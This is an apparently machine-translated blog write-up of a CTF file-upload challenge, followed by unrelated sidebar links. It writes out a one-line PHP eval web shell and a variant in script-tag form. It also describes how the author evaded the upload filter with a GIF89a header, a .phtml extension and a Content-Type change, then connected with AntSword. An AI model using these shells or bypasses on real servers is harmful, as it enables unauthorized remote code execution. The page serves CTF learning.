当前位置:网站首页>[geek challenge 2019] upload
[geek challenge 2019] upload
2022-07-02 11:59:00 【With stars in your eyes】
After opening, there is a file upload question , First upload a php File try
In a word, the contents of the Trojan horse file are <?php eval($_POST['hhh']);?>

The prompt is not a picture

Preliminary guess is to modify Content-Type, Try to grab a bag
Use burpsuite Grab the bag

But it still shows

Try to modify php suffix
".php" Equivalent extension :
".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml"
The first few failed
But try .phtml when , There's a difference , The contents of the original document cannot include '<?'
Modify the document to <script language="php">eval($_POST['hhh'])</script>, It works the same , But show Dont't lie to me,it's not image at all!!!
Later inquiry , It turns out that you need to write a picture file header , Modify the document to GIF89a? <script language="php">eval($_POST['hhh'])</script>, Upload successful !
Then find the file path , Be in commonly upload In the folder , Try typing , As expected And find the file we uploaded

Then connect it with an ant sword

Successful connection 
Find it here flag

Click to enter

边栏推荐
- GGHIGHLIGHT: EASY WAY TO HIGHLIGHT A GGPLOT IN R
- ESP32音频框架 ESP-ADF 添加按键外设流程代码跟踪
- PyTorch搭建LSTM实现服装分类(FashionMNIST)
- YYGH-10-微信支付
- Cluster Analysis in R Simplified and Enhanced
- Natural language processing series (III) -- LSTM
- 多文件程序X32dbg动态调试
- How to Add P-Values onto Horizontal GGPLOTS
- 揭露数据不一致的利器 —— 实时核对系统
- HOW TO CREATE A BEAUTIFUL INTERACTIVE HEATMAP IN R
猜你喜欢

K-Means Clustering Visualization in R: Step By Step Guide

Dynamic memory (advanced 4)

Three transparent LED displays that were "crowded" in 2022

Take you ten days to easily finish the finale of go micro services (distributed transactions)

Research on and off the Oracle chain

SVO2系列之深度滤波DepthFilter

基于Hardhat和Openzeppelin开发可升级合约(一)

Always report errors when connecting to MySQL database

Pyqt5+opencv project practice: microcirculator pictures, video recording and manual comparison software (with source code)

Thesis translation: 2022_ PACDNN: A phase-aware composite deep neural network for speech enhancement
随机推荐
K-Means Clustering Visualization in R: Step By Step Guide
Log4j2
时间格式化显示
GGPlot Examples Best Reference
Larvel modify table fields
[visual studio 2019] create MFC desktop program (install MFC development components | create MFC application | edit MFC application window | add click event for button | Modify button text | open appl
多文件程序X32dbg动态调试
XSS labs master shooting range environment construction and 1-6 problem solving ideas
HOW TO EASILY CREATE BARPLOTS WITH ERROR BARS IN R
C#基于当前时间,获取唯一识别号(ID)的方法
YYGH-BUG-05
How to Create a Beautiful Plots in R with Summary Statistics Labels
自然语言处理系列(二)——使用RNN搭建字符级语言模型
自然语言处理系列(三)——LSTM
PX4 Position_ Control RC_ Remoter import
Summary of flutter problems
ESP32存储配网信息+LED显示配网状态+按键清除配网信息(附源码)
小程序链接生成
Homer预测motif
Yygh-10-wechat payment